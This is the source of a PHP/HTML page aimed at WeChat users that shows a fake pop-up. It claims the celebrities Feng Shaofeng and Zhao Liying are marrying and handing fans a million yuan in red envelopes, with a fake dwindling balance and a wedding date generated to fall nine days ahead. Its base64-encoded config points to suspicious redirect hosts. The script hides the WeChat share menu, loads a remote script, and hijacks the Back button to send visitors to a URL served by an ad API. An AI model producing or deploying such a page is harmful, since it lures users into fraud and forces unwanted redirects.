<?php
$married = date('Y-m-d',strtotime('+ 9day'));
$jsondata = '{
                         "title":"\\u6cd5\\u529b\\u65e0\\u8fb9",
                          "advlistimg":"https:\\/\\/507vid.oss-cn-hangzhou.aliyuncs.com\\/public\\/14824015084721.gif",
                          "iswx":1,
                          "isa":1,
                           "isaa":0,
                           "isx":1,
                           "errurl":"http:\\/\\/8npj6v1.d48khoj.top\\/errurl",
                           "advapi":"/advapi.php",
                            "rukouapi":"http:\\/\\/sdfsdfsdf.ysqyhs.com\\/get_a1",
                             "dumpapi":"http:\\/\\/api.ysqyhs.com\\/get_a2",
                              "dumpsapi":"http:\\/\\/api.ysqyhs.com\\/get_a3",
                              "luodiadi":"http:\\/\\/api.ysqyhs.com\\/get_b",
                             "jumpapi":"/get_c.php",
                             "story":"no",
                              "tui":false,
                           "tou":"http:\\/\\/8npj6v1.d48khoj.top\\/tousu",
                            "VideoCount":"http:\\/\\/8npj6v1.d48khoj.top\\/VideoCount",
                          "oss":"https:\\/\\/507vid.oss-cn-hangzhou.aliyuncs.com",
                        "pk":"hb",
                         "id":6
                          }';
$base64data = base64_encode($jsondata);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title> </title>
    <meta name="viewport"
          content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover"/>
    <meta name="format-detection" content="telephone=no">
    <meta name="applicable-device" content="mobile">
    <link rel="stylesheet" href="https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/css/d.css">
    <script src="https://0o0o0o0o.oss-cn-hongkong.aliyuncs.com/hvb/js/jquery-3.3.1.min.js"></script>
    <script data-no-instant src="https://cdn.bootcss.com/instantclick/3.0.1/instantclick.min.js"></script>
    <style>
         #instantclick{display:none;}  
        .weui_dialog{position:fixed;z-index:999999999;width:85%;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);background-color:#fafafc;text-align:center;border-radius:10px;font-family:arial}
        .weui_mask{position:fixed;z-index:1;width:100%;height:100%;top:0;left:0;background:rgba(0,0,0,.6)}
        .weui_dialog_hd{padding:0em 0 .3em}
        .weui_dialog_bd{padding:0 20px;font-size:16px;color:#888;word-wrap:break-word;word-break:break-all}
        .weui_dialog_ft{border-bottom-left-radius:10px;background-color:#e3c291;position:relative;line-height:42px;margin-top:20px;font-size:17px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}
        .weui_dialog_ft:after{content:" ";position:absolute;left:0;top:0;width:100%;height:1px;border-top:1px solid #d5d5d6;color:#d5d5d6;-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}
        .weui_btn_dialog.primary{color:#fff}
        .weui_dialog_ft a{display:block;-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;color:#3cc51f;text-decoration:none;-webkit-tap-highlight-color:transparent}
        .weui_dialog_title{font-weight:400;font-size:17px;color:#000}
        .weui_close{ display: block; position: absolute; top: -55px; right: 6px; }
    </style>
</head>
<body>
<script>
    window.name = (Math.random() * (80 - 70) + 80).toFixed(2);
    window.lingqunum = Math.floor(Math.random() * (2560 - 1200 + 1) + 1200);
    window.fafangnum = Math.floor(Math.random() * (3560 - 1200 + 1) + 2200);
    var obj = JSON.parse(window.atob("<?php echo $base64data;?>"));
    var s = document.createElement('script');
    s.src = '/js/a.js?sdd=sdfsdf';
    document.body.appendChild(s);
    $.getJSON(obj.advapi, function (e) {
    var e = JSON.parse(JSON.stringify(e));
    setTimeout(function () {
	        history.pushState(history.length + 1, "message", "#" + new Date().getTime());
	    }, 200);
	    window.onhashchange = function () {  
	        location.href = e.url;
	    };
    });
    document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {
      WeixinJSBridge.call('hideOptionMenu');
    });
    wxalert('<p style="text-align: center; font-size: 22px;color: black;"><p style="color: green;font-size: 26px;">恭喜您！</p><p style="color: black">新郎：<span style="color: red;">冯绍峰</span>&nbsp;&nbsp;新娘：<span style="color: red;">赵丽颖</span></p><br/><p style="color: red;">慈定于<?php echo $married;?> 举行婚礼</p><br/><p style="color: black;">为答谢粉丝们的支持与厚爱，<br/> 现发出<span style="color: red;">100万</span>紅包回馈粉丝</p><br/><p style="color: #b6b7b8;">紅包总额仅剩余<span style="color: red;">3万</span>元数量有限，先到先得</p></p>','我知道了');

    function wxalert(n,b,i) {
        var r, u;
        r = '<div class="weui_dialog_alert" style="position: fixed; z-index: 2000; display: none;margin-left:15%;margin-right:15%">';
        r += '<div class="weui_mask"></div>';
        r += '<div class="weui_dialog">';
        r += '<i class="weui_close"><svg t="1540783423798" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="s="http://www.w3.org/2000/svg" p-" p-id="1931" xmlns:xlink="k="http://www.w3.org/1999/xlink" wi" width="25" height="25"><path style="fill:#666;" d="M176.661601 817.172881C168.472798 825.644055 168.701706 839.149636 177.172881 847.338438 185.644056 855.527241 199.149636 855.298332 207.338438 846.827157L826.005105 206.827157C834.193907 198.355983 833.964998 184.850403 825.493824 176.661601 817.02265 168.472798 803.517069 168.701706 795.328267 177.172881L176.661601 817.172881ZM795.328267 846.827157C803.517069 855.298332 817.02265 855.527241 825.493824 847.338438 833.964998 839.149636 834.193907 825.644055 826.005105 817.172881L207.338438 177.172881C199.149636 168.701706 185.644056 168.472798 177.172881 176.661601 168.701706 184.850403 168.472798 198.355983 176.661601 206.827157L795.328267 846.827157Z" p-id="1932"></path></svg></i>';
        r += '<div class="weui_dialog_hd"><strong class="weui_dialog_title"></strong></div>';
        r += '<div class="weui_dialog_bd" style="color:#000;padding-top:20px;padding-bottom:10px;font-size:18px;"></div>';
        r += '<div class="weui_dialog_ft">';
        r += '<a href="javascript:;" class="weui_btn_dialog primary">好</a>';
        r += "</div>";
        r += "</div>";
        r += "</div>";
        $(".weui_dialog_alert").length > 0 ? $(".weui_dialog_alert .weui_dialog_bd").empty() : $("body").append($(r));
        u = $(".weui_dialog_alert");
        u.show();
        u.find(".weui_dialog_bd").html(n);
        u.find(".weui_btn_dialog").html(b ? b : "好的");
        u.find(".weui_btn_dialog").off("click").on("click", function() { u.hide();
            i && i() });
        u.find(".weui_close").off("click").on("click", function() { u.hide(); });
    }
</script>
<div style="display: none">
    <script>
	 $.ajax({
         'url': 'http://<?php echo $data['d6'];?>/count_views.php',
         'method': 'POST',
         'data': {res: 'friend'},
         'success': function () {
         }
     });
        var _hmt = _hmt || [];
        (function() {
            var hm = document.createElement("script");
            hm.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id'];?>";
            var s = document.getElementsByTagName("script")[0];
            s.parentNode.insertBefore(hm, s);
        })();
    </script>
</div>
</body>
</html>